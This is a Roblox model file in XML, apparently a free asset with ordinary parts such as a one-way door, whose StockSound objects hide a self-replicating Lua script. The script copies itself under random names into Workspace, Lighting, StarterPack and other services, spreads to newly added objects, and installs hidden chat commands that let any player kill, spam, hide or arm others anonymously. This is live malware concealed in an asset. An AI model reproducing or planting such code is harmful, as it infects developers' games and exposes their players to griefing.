plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX50">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX51">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">zgndm0v</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX52">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">c5ji5a</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX53">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">11</int>
					<CoordinateFrame name="CFrame">
						<X>38.5</X>
						<Y>62.1000023</Y>
						<Z>-13.5</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">OneWayDoor</string>
					<float name="Reflectance">0.100000001</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0.100000001</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>75</X>
						<Y>123</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX54">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">PushPack</string>
						<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX55">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2xdje</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX56">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ugwdq</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
